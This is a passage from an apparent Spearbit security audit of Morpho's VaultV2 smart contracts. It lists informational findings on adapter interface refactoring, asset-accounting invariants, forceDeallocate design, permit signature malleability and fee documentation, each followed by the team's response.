Description: Both IMetaMorphoAdapter and IMorphoBlueAdapter have:

1. `parentVault()` exposed.
2. Contains the related functions and events related to skimming.
3. `NotAuthorized()`.

Recommendation: If the above shared patterns can be considered as patterns that would be used for all adapters, they can be moved higher up in IAdapter. The following patch can be applied (test cases still need to be also adapted for these changes):

```
diff --git a/src/adapters/interfaces/IMetaMorphoAdapter.sol
↳ b/src/adapters/interfaces/IMetaMorphoAdapter.sol
index 47b8f37..83f76c9 100644
- -- a/src/adapters/interfaces/IMetaMorphoAdapter.sol
+ ++ b/src/adapters/interfaces/IMetaMorphoAdapter.sol
@@ -4,23 +4,12 @@ pragma solidity >= 0.5.0;
import {IAdapter} from "../interfaces/IAdapter.sol";

interface IMetaMorphoAdapter is IAdapter {
- /* EVENTS */
-
- event SetSkimRecipient(address indexed newSkimRecipient);
- event Skim(address indexed token, uint256 assets);
```

```

-      /* ERRORS */
-
-      error NotAuthorized();
-      error InvalidData();
-      error CannotSkimMetaMorphoShares();
-      error CannotRealizeAsMuch();
-
-      /* FUNCTIONS */
-
-      function setSkimRecipient(address newSkimRecipient) external;
-      function skim(address token) external;
-      function parentVault() external view returns (address);
-      function metaMorpho() external view returns (address);
-      function skimRecipient() external view returns (address);
-  }
diff --git a/src/adapters/interfaces/IMorphoBlueAdapter.sol
→ b/src/adapters/interfaces/IMorphoBlueAdapter.sol
index 62d5b97..6ce6e07 100644
- -- a/src/adapters/interfaces/IMorphoBlueAdapter.sol
+ ++ b/src/adapters/interfaces/IMorphoBlueAdapter.sol
@@ -4,20 +4,7 @@ pragma solidity >=0.5.0;
import {IAdapter} from "../interfaces/IAdapter.sol";

interface IMorphoBlueAdapter is IAdapter {
-      /* EVENTS */
-
-      event SetSkimRecipient(address indexed newSkimRecipient);
-      event Skim(address indexed token, uint256 assets);
-
-      /* ERRORS */
-
-      error NotAuthorized();
-
-      /* FUNCTIONS */
-
-      function parentVault() external view returns (address);
-      function morpho() external view returns (address);
-      function skimRecipient() external view returns (address);
-      function setSkimRecipient(address newSkimRecipient) external;
-      function skim(address token) external;
-  }
diff --git a/src/interfaces/IAdapter.sol b/src/interfaces/IAdapter.sol
index c2e151b..70620fe 100644
- -- a/src/interfaces/IAdapter.sol
+ ++ b/src/interfaces/IAdapter.sol
@@ -2,6 +2,23 @@
pragma solidity >=0.5.0;

interface IAdapter {
+      /* EVENTS */
+
+      event SetSkimRecipient(address indexed newSkimRecipient);
+      event Skim(address indexed token, uint256 assets);
+
+      /* ERRORS */
+
+      error NotAuthorized();
+
+      /* FUNCTIONS */
+
+

```

```

        function allocate(bytes memory data, uint256 assets) external returns (bytes32[] memory ids,
        ↪ uint256 loss);
        function deallocate(bytes memory data, uint256 assets) external returns (bytes32[] memory ids,
        ↪ uint256 loss);
+
+     function setSkimRecipient(address newSkimRecipient) external;
+     function skim(address token) external;
+     function skimRecipient() external view returns (address);
+
+     function parentVault() external view returns (address);
    }

```

This would leave IMetaMorphoAdapter and IMorphoBlueAdapter as:

```

interface IMetaMorphoAdapter is IAdapter {
    /* ERRORS */

    error InvalidData();
    error CannotSkimMetaMorphoShares();

    /* FUNCTIONS */

    function metaMorpho() external view returns (address);
}

interface IMorphoBlueAdapter is IAdapter {
    /* FUNCTIONS */

    function morpho() external view returns (address);
}

```

One can further unify these interfaces by removing metaMorpho() and morpho() and dissolving them into 2 extra view functions:

```

interface IAdapter {
    // ...
    function protocolAddress() external view returns (address);
    function protocolName() external view returns (string memory);
    // ...
}

```

Morpho: Acknowledged.

Spearbit: Acknowledged.

5.5.3 Total assets invariants

Severity: Informational

Context: (No context files were provided by the reviewer)

Description/Recommendation: One should always have (as communicated by the Morpho team) the following invariant:

$$A_{tot}^{real}(t) \geq A_{tot}(t)$$

Where $A_{tot}^{real}(t)$ is:

$$A_{tot}^{real}(t) = A_{idle}(t) + \sum_{j \in J} A_j(t)$$

The difference $\Delta A(t) = A_{tot}^{real}(t) - A_{tot}(t)$ would be value that IVic could use to distribute interests. To make sure the invariant holds one need to realise assets lost as soon as possible. So in all possible function calls if there is a `loss` it would be best to:

- Update $A_{tot}(t)$ to account for this loss.
- If the function call fails or tries to skip the above update since it is performed in another atomic internal call flow, it would be best if possible to refactor this update out.

$$A_{tot}(t) = f_{i=0}^n(a_i) := f(f(\dots f(0, a_0) \dots, a_{n-1}), a_n)$$

where $f(x, a) = \max(0, x + a)$ where $a \in \mathbb{R}$. So a could be:

- The amount of interest to be accrued.
- The assets to be deposited.
- Loss.
- The assets to be withdrawn.

To keep the loss up to date, the trusted entities can setup allocator keeper bots that would monitor the portfolio of the vault and if there is a loss using the adapter and its corresponding data would call `allocate(adapter, data, 0)` to accrue interest and realise this `loss`.

parameter	description
$A_{tot}(t)$	<code>_totalAssets</code>
$A_{tot}^{real}(t)$	total assets of the vault including the assets outsourced to different protocols using adapters
$A_{idle}(t)$	<code>IERC20(asset).balanceOf(address(IVaultV2))</code>
J	set of all enabled adapters
$A_j(t)$	all the assets that can be deallocated from the protocol corresponding to adapter j

Morpho: Acknowledged.

Spearbit: Acknowledged.

5.5.4 Document bad debt behaviour when dealing with `MetaMorphoV1_1` in adapter

Severity: Informational

Context: (No context files were provided by the reviewer)

Description: In `MetaMorphoAdapter`,

```
uint256 loss = assetsInMetaMorpho.zeroFloorSub(...)
```

- This doesn't account for `lostAssets` if underlying is `MetaMorphoV1_1`.
- Can posses systemic risk where there are multiple adapters (of any kind, with atleast one MM v.1.1) also, since that `lostAssets` loss is not accounted but will keep paying out interest.

So if `lostAssets` increase after after depositing in `MetaMorphoV1_1` vault, it is not reported and may posses risk of bankrun.

Recommendation: Any behaviour pertaining to `MetaMorphoV1_1` in case of bad debt accrual should be documented for user, allocator and curator.

Morpho: Fixed by [PR 396](#).

Spearbit: Verified.

5.5.5 Allocating and Deallocating zero assets from MetaMorpho vaults should be documented or avoided

Severity: Informational

Context: [MetaMorphoAdapter.sol#L62](#), [MetaMorphoAdapter.sol#L79](#)

Description: The current implementation of the `MetaMorphoAdapter` adapter allows the user to allocate or deallocate a zero amount of assets to/from the underlying `MetaMorpho` vault.

The `MetaMorpho` vault is a `ERC4626` compliant vault and will not revert in those cases (unlike the `Morpho Markets`). When the user (or the allocator/sentinel depending on the case) perform such no-op operations it will consume more gas for nothing and will generate additional "useless" events on the `MetaMorpho` side.

Recommendation: Given that the `VaultV2` allows the user to perform no-op actions and generate "useless" events (associated to a no-op action), it could make sense to also allow the no-op action to be "propagated" to the `MetaMorpho` vault itself (considering also that this no-op action seems not be prohibited by the `ERC4626` standard). If `Morpho` accepts this behavior, they should at least document it by explicitly explaining the decision (in contrast with the `Morpho Market` different logic that will generate no-op events at the `VaultV2` level but not at the `MB` level).

Otherwise, they could follow the same logic applied in the `MorphoBlueAdapter` and skip the `deposit` and `withdraw` call then `assets == 0`.

Morpho: Fixed in [PR 315](#).

Spearbit: Fix verified.

5.5.6 Enhance the documentation relative to the `VaultV2` roles and allowed action to include VICs

Severity: Informational

Context: [README.md#L68-L127](#), [ManualVic.sol#L24](#), [ManualVic.sol#L31](#), [ManualVic.sol#L40](#)

Description: The current [README](#) file contains a well detailed section that describes which roles manage and configure the `VaultV2` system and, for each role, which action it should be able to perform (and with which limitation).

The existing documentation should also be extended to include all the contracts that will allow those roles to influence the behavior of the `VaultV2` in an indirect or direct way.

For example, the current `ManualVic` contract allows:

- `Vault's curator` to increase the `VIC's` max interest per second.
- `Vault's curator` or `sentinel` to decrease the `VIC's` max interest per second.
- `Vault's allocator` or `sentinel` to update the `VIC's` interest per second.

Recommendation: `Morpho` should include the additional actions that the vault's admin/authed users can perform on all those contracts that directly or indirectly will influence the `Vault's` behavior and logic.

Morpho: Fixed by [PR 324](#).

Spearbit: Verified.

5.5.7 `forceDeallocate` should be refactored and split into multiple specialized functions

Severity: Informational

Context: [VaultV2.sol#L567-L582](#)

Description: The current implementation of `forceDeallocate` tries to combine multiple features in one, with the result of a less secure code and not clear behavior that have enabled multiple issues like (to list a few):

- "`forceDeallocatePenalty` should not be set to 0 to avoid anyone to deallocate all the funds from the adapters".
- "`forceDeallocate` allows the caller to deallocate more than it owns"

- "forceDeallocate should revert when adapters is empty or adapters[i] + data[i] correspond to the liquidity adapter"

The scope of this function can be summarized in:

- Allow the caller to "ping" a whitelisted adapter (+ data) to account for possible losses.
- Deallocate up to the caller's balance or allowance from an adapter (which is not the current liquidity adapter user by the 'VaultV2) into the Idle Market to later on be able to withdraw it.

Recommendation: By refactoring the `forceDeallocate` function, splitting in specialized functions, Morpho can fix and address all the issues and make the code more secure and easier to read and understand.

This is a quick idea of what each function should be able to do. The rough idea should be further discussed, evaluated and modified based on the needs and the security constrains:

1. One function to allow anyone (even without an open position) to "ping" any whitelisted adapter to account for the loss and trigger the underlying MM or MB actual of interest. This action should not allow the caller to deallocate anything and should not cost any fees.
2. One function to allow someone that have a non-empty position (or allowance) to deallocate from any whitelisted adapter that is **not** the current `liquidityAdapter+liquidityData` to deallocate up to the owned balance (converting shares to assets). After the multi-deallocation and withdraw of the fees to the vault, the function should also withdraw the remaining requested assets to directly to the caller (or specified receiver).

Morpho: Fixed in [PR 337](#).

Spearbit: [PR 337](#) partially addresses the problem.

1. Morpho has added the `realizeLoss` function, which allows, in a permissionless way, to account for losses in an arbitrary (but whitelisted) adapter.
2. `forceDeallocate` can only deallocate from a single adapter instead of multiple one.

It's still allowed to force-deallocate from the `liquidityAdapter` paying fees (instead of using the "normal" fee-free deallocation process). The user still needs to withdraw with an additional transaction after the deallocation process. Now that deallocate is a single operation (instead of a batch) the feature it's less important given that the user could need to deallocate from additional adapters to fulfill his needs.

5.5.8 The scope and role of the force deallocations penalties should be better explained

Severity: Informational

Context: [VaultV2.sol#L579](#)

Description: The current implementation and behavior of the deallocations penalties used in the `forceDeallocate` are not well explained. The only explicit comment we can find in the code is.

```
// The penalty is taken as a withdrawal that is donated to the vault.
```

Such information does not say much and creates more confusion without answering any question. Usually, when the specification says that it's "donating to the vault" it could me two things:

1. The underlying do not contribute to increase other suppliers shares value. Those donations will later on be "skimmed" by someone with an "authed" role.
2. The donation indeed contribute to increasing other share values in an "active way".

In this case, it's not clear at all because they can be seen as a "donation" to the vault (like anyone could do by sending `underlying` directly to the vault address) but.

1. They are not "incorporated" into the `_totalAssets`, so the value of shares does not increase "automatically".

2. They cannot contribute to increasing the interest received (because they are not incorporated into `_totalAssets`). Remember that a VIC could rely on and use `_totalAssets` as the source of the interest per second returned by `IVic.interestPerSecond`.
3. They are not useful to increase the amount withdrawn from the "IDLE market" because it would revert when `_totalAssets -= assets.toUint192();` is executed.
4. They can be deployed via a "direct" `allocate` call, but still, it won't automatically contribute to the increase in the share value.

Recommendation: Morpho should explicitly document and define how these "donated" underlying assets should behave and implement the updated behavior if needed.

Morpho: Fixed in [PR 397](#).

Spearbit: The behavior of the funds "donated" to the `VaultV2` by the `forceDeallocate` function has been documented in [PR 397](#).

5.5.9 `permit` does not perform signature malleability check

Severity: Informational

Context: [VaultV2.sol#L636](#)

Description: The native `ecrecover` function does not perform the signature malleability check that is instead present in the [OpenZeppelin ECDSA implementation](#)

```
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the
↳ signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf),
↳ defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half
↳ order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new
↳ s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28
↳ or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to
↳ accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
    return (address(0), RecoverError.InvalidSignatureS, s);
}
```

Recommendation: Morpho should consider implementing it directly inside their `permit` function, or using the OpenZeppelin ECDSA library.

Morpho: Fixed by [PR 388](#).

Spearbit: Verified.

5.5.10 The natspec comment for the `decreaseTimelock` `timelock` should be rewritten

Severity: Informational

Context: [VaultV2.sol#L100](#)

Description: The current natspec for the `mapping(bytes4 selector => uint256) public timelock;` state variable states:

```
/// @dev The timelock of decreaseTimelock is hard-coded at TIMELOCK_CAP.
```


The above documentation is currently untrue given that the `timelock` of `decreaseTimelock` can't be decreased, but can be changed (and locked) to `type(uint256).max` if the `decreaseTimelock` is "abdicated" via the `abdicateSubmit` function.

Recommendation: Morpho should re-write the natspec documentation for the `timelock` state variable to reflect the above fact.

Morpho: Fixed by [PR 382](#).

Spearbit: Verified.

5.5.11 `setForceDeallocatePenalty` should revert if adapter is not enabled

Severity: Informational

Context: [VaultV2.sol#L313](#)

Description: The `setForceDeallocatePenalty` should follow the existing invariant that only already enabled adapter should be configurable.

Recommendation: The function should revert if `isAdapter[adapter]` is equal to `false`.

Morpho: Acknowledged. We don't think that this invariant should be enforced. Indeed, having a set penalty on an address that is not an adapter can make sense if the adapter is about to be added (pending timelock for example, especially if they have different timelocks), and if you want the fee to apply directly.

Note that there is not really the same need for the liquidity adapter, because it's not a safety feature like the penalty, so it's ok if there is a lag between the time where the new adapter is listed and when it becomes a liquidity adapter.

Spearbit: Acknowledged.

5.5.12 Consider improving the documentation relative to the `allocation` variable and related code

Severity: Informational

Context: [VaultV2.sol#L76](#), [VaultV2.sol#L337](#), [VaultV2.sol#L364](#)

Description: The current documentation for the `mapping(bytes32 id => uint256) public allocation; state variable` says:

```
/// @dev The allocation is not updated to take interests into account.
```

This variable is updated during the `allocate` function:

```
(bytes32[] memory ids, uint256 loss) = IAdapter(adapter).allocate(data, assets);

if (loss > 0) {
    _totalAssets = uint256(_totalAssets).zeroFloorSub(loss).toUint192();
    enterBlocked = true;
}

for (uint256 i; i < ids.length; i++) {
    allocation[ids[i]] = allocation[ids[i]].zeroFloorSub(loss) + assets;

    // other code
}
```

and the `deallocate` function:

```

(bytes32[] memory ids, uint256 loss) = IAdapter(adapter).deallocate(data, assets);

if (loss > 0) {
    _totalAssets = uint256(_totalAssets).zeroFloorSub(loss).toUint192();
    enterBlocked = true;
}

for (uint256 i; i < ids.length; i++) {
    allocation[ids[i]] = allocation[ids[i]].zeroFloorSub(loss + assets);
}

```

In the allocate the loss value returned by the adapter could indeed contain part of the interest. The same also happens for deallocate that even without loss is already considering the possible interest accrued by the user that could end up withdrawing **more** than have been previously allocated (because the supplied asset has increased because of the interest).

Recommendation: Morpho should improve and extend the documentation of the allocation state variable and the code that updates it with additional developer comments that remove any possible doubts and confusion.

Morpho: Fixed in [PR 521](#).

Spearbit: The documentation has been improved with [PR 521](#).

It's important to note that the behavior of allocate and deallocate has been changed in by [PR 347](#). In the same PR, a new realizeLoss has also been introduced.

5.5.13 Consider refactoring the relationships of liquidityAdapter and liquidityData and unify the setters

Severity: Informational

Context: [VaultV2.sol#L371-L385](#)

Description: The current implementation of VaultV2 defines these state variables:

```

address public liquidityAdapter;
bytes public liquidityData;

```

The liquidityData is passed to liquidityAdapter when the allocate or deallocate function of the liquidityAdapter is executed. The liquidityData can be empty depending on the type and implementation of adapter that is currently used by the vault itself.

It's possible (depending on the adapter's implementation), that two different adapters could use the same liquidityData or that the same adapter could need a different liquidityData to perform the allocation to a different underlying market.

Morpho should consider making the bond between the adapter and data more strict and implement some security measures that could prevent possible misconfigurations:

1. Reset the liquidityData when newLiquidityAdapter == address(0) (the current liquidity market is being disabled) or newLiquidityAdapter != liquidityAdapter.
2. Remove the setLiquidityData function and simply add bytes memory newLiquidityData as a parameter of setLiquidityAdapter. If the newLiquidityAdapter == address(0) the function should revert if newLiquidityData is not empty; otherwise it will just override both liquidityAdapter and liquidityData (and emit the events).

Recommendation: Morpho should consider the above suggestions.

Morpho: Fixed in [PR 394](#).

Spearbit: Part of the recommendations have been implemented in [PR 394](#). The setLiquidityData function has been removed, and the bytes memory newLiquidityData input has been added to the setLiquidityMarket func-

tion (the new name of the former `setLiquidityAdapter` function). Morpho has not implemented the suggestion to revert `setLiquidityMarket` when the `newLiquidityAdapter` adapter is empty but the `newLiquidityData` is not empty.

5.5.14 The `interestPerSecond == 0` scenario should be better documented and explained

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: There can be multiple scenarios for which the `accrueInterestView` function initialize the `interestPerSecond` local variable to zero.

- The `vic.interestPerSecond(...)` call returns a value greater than `uint256(_totalAssets).mulDivDown(MAX_RATE_PER_SECOND, WAD)` (max interest per second allowed).
- The `vic.interestPerSecond(...)` call reverts internally.
- The `vic.interestPerSecond(...)` call return indeed 0 as a "valid" value: the underlying adapters are not generating interest or all the funds are idling in the Idle Market.
- The `vic` is improperly configured in the `VaultV2` itself.

When these scenarios happen, no interest is generated, and we would have the following consequences that should be well detailed and disclosed (in addition to the scenarios themselves):

1. When the adapters are indeed generating interest but the `vic` "does not work" (reverts, misconfigured or return an invalid value) all the interest generated by the adapters is fully lost and can't be recovered. The `accrueInterest()` function that calls `accrueInterestView()` will anyway update the `lastUpdate` state variable and the next time that `accrueInterestView()` is called it will early return given that `elapsed` will be equal to zero.
2. Even if no interest is generated (because the `vic` "does not work" or because their adapters do not really generate interest), the "manager" of the vault (identified by the `managementFeeRecipient`) will anyway receive shares if `managementFee > 0`.

Recommendation: Morpho should carefully disclose and detail these edge case scenarios when no interest is (correctly or incorrectly) generated and accounted for, and why the `managementFeeRecipient` will anyway receive shares even if no interest is generated.

It's important to note that, when no interest is generated and `managementFeeRecipient` are anyway minted, the existing suppliers will see their shares value diluted. We also think that it should be explicitly disclosed that the fees received by the "management role" are not bound to `_totalAssets`, meaning that `managementFeeShares` won't be directly affected by possible losses accounted in other part of the logic.

Morpho: Fixed in [PR 347](#).

Spearbit: The [PR 347](#) performs the following changes:

1. The `accrueInterestView()` (and so `accrueInterest()`) will revert if the `vic` reverts. Users won't lose the accrued interest, but core operations will "break" with a reverting `vic`.
2. The "management fee" and "performance fee" behavior have been documented in the `accrueInterestView` natspec.
3. When `vic` is set to `address(0)` interest won't be accrued and accounted for even if the underlying markets will indeed generate interest.
4. If the current `vic` reverts and `setVic` is called to replace it, the accrued and not yet accounted interest will be lost.

5.5.15 Considerations on performance and management fees

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The `accrueInterestView` function calculates the fees that will be later on minted inside the `accrueInterest` function to both the performance and management roles of the `VaultV2` vault.

By looking at the code, we think that these behaviors should be better documented and disclosed.

- Performance fees are minted even if the adapters incur in losses.
- Performance fees are calculated based on the interest, which is based on the value returned by the `vic` which takes the `_totalAssets` as an input parameter. At this point (when `accrueInterest` is called usually) the losses have not been accounted yet into `_totalAssets`.
- Management fees are minted even if the adapters incur in losses.
- Management fees are minted even if the adapters have generated no interest. This will dilute the value of suppliers shares.

Recommendation: Morpho should carefully document these behaviors, disclosing them to their suppliers. One possible option would be to skip minting performance/management fees (or reduce them) in case no interest is generated or loss are accounted in the period.

Morpho: Fixed in [PR 452](#).

Spearbit: The documentation has been improved with [PR 452](#). The following behaviors have been documented:

- The management fee is not bound to the interest, so it can make the share price go down.
- The performance and management fees are taken even if the vault incurs some losses.